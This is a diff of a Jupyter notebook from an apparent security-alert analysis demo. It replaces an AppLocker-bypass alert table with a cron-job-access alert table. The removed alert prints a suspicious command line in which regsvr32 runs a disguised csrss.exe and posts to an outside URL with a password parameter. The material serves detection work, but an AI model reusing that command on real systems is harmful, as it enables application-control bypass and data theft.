\n", + " Alert_time: 2019-02-15 04:03:22,\n", + " Compr_entity: MSTICALERTSLXVM2,\n", + " Alert_id: 2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07\n", " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", @@ -633,23 +605,23 @@ " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", @@ -661,23 +633,23 @@ " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", @@ -693,27 +665,27 @@ " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", @@ -749,7 +721,7 @@ " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", "
3722
TimeGenerated2019-02-14 11:52:062019-02-15 04:03:30
AlertDisplayNamePotential attempt to bypass AppLocker detectedPossible suspicious scheduling tasks access detected
AlertNamePotential attempt to bypass AppLocker detectedPossible suspicious scheduling tasks access detected
SeverityHighInformational
DescriptionAnalysis of host data on MSTICALERTSWIN1 detected a potential attempt to bypass AppLocker restrictions. AppLocker can be configured to implement a policy that limits what executables are allowed to run on a Windows system. The command line pattern similar to that identified in this alert has been previously associated with attacker attempts to circumvent AppLocker policy by using trusted executables (allowed by AppLocker policy) to execute untrusted code. This could be legitimate activity, or an indication of a compromised host.Analysis of host data indicates that a cron job was accessed by dbadmin.\\r\\nThis activity could either be legitimate activity, or an indication of a compromised host that involved using task scheduling to execute malicious programs on a scheduled basis.
ProviderName
VendorOriginalIddaa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f57b6af71-984e-45f3-9aac-d6bbd79eed07
SystemAlertId2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsLxVM2
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa044623fb0-bd5f-49ea-84d1-56aa11ab8a25
AlertTypeSCUBA_RULE_Applocker_BypassSCUBA_RULE_AccessCronJob
ConfidenceLevel
StartTimeUtc2019-02-14 11:51:382019-02-15 04:03:22
EndTimeUtc2019-02-14 11:51:382019-02-15 04:03:22
ProcessingEndTime2019-02-14 11:52:072019-02-15 04:03:30
RemediationSteps[\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the suspicious command line in this alert to see if you recognise this as legitimate activity that you expect to see on MSTICALERTSWIN1. If not, escalate the alert to the information security team.\"\\r\\n][\\r\\n \"Review with dbadmin the activity in this alert to see if you recognize this as legitimate administrative activity. If not, escalate the alert to the information security team.\"\\r\\n]
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x78225e', 'Suspicious Process': 'c:\\w!ndows\\system32\\regsvr32.exe', 'Suspicious Command Line': '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x1150', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}{'Compromised Host': 'MSTICALERTSLXVM2', 'User Name': 'dbadmin', 'Account Session Id': '0x2e093', 'Suspicious Process': '/usr/bin/vim.basic', 'Suspicious Command Line': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'Suspicious Process Id': '0x51b3', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x12f4', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x78225e'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'regsvr32.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x1150', 'CommandLine': '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-14T11:51:38.5072586Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x78225e', 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z', 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}][{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSLXVM2', 'NetBiosName': 'MSTICALERTSLXVM2', 'OSFamily': 'Linux', 'OSVersion': 'Linux', 'Type': 'host'}, {'$id': '5', 'ProcessId': '0x518a', 'CommandLine': '', 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '6', 'Name': 'dbadmin', 'Host': {'$ref': '4'}, 'Sid': '1001:1001', 'Type': 'account', 'LogonId': '0x2e093'}, {'$id': '7', 'Directory': '/usr/bin', 'Name': 'vim.basic', 'Type': 'file'}, {'$id': '8', 'ProcessId': '0x51b3', 'CommandLine': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'CreationTimeUtc': '2019-02-15T04:03:22.173Z', 'ImageFile': {'$ref': '7'}, 'Account': {'$ref': '6'}, 'ParentProcess': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '9', 'SessionId': '0x2e093', 'StartTimeUtc': '2019-02-15T04:03:22.173Z', 'EndTimeUtc': '2019-02-15T04:03:22.173Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '6'}}]
SourceSystem
CompromisedEntityMSTICALERTSWIN1MSTICALERTSLXVM2

ExtendedProperties:

\n", @@ -762,31 +734,27 @@ " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", " \n", " \n", " \n", - " \n", + " \n", " \n", " \n", " \n", @@ -805,7 +773,7 @@ " \n", " \n", " \n", - "
Compromised HostMSTICALERTSWIN1MSTICALERTSLXVM2
User NameMSTICALERTSWIN1\\MSTICAdmindbadmin
Account Session Id0x78225e0x2e093
Suspicious Processc:\\w!ndows\\system32\\regsvr32.exe/usr/bin/vim.basic
Suspicious Command Line.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post
Parent Processc:\\windows\\system32\\cmd.exe/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab
Suspicious Process Id0x11500x51b3
resourceTypeeastus

Entity counts:

host: 1, file: 2, process: 2, account: 1, host-logon-session: 1" + "

Entity counts:

host: 1, process: 2, account: 1, file: 1, host-logon-session: 1" ], "text/plain": [ "" @@ -834,13 +802,12 @@ }, { "cell_type": "code", - "execution_count": 34, + "execution_count": 11, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:40:32.034565Z", "start_time": "2020-08-25T19:40:31.742565Z" }, - "scrolled": false, "slideshow": { "slide_type": "-" } @@ -872,33 +839,322 @@ }, { "data": { - "image/png": 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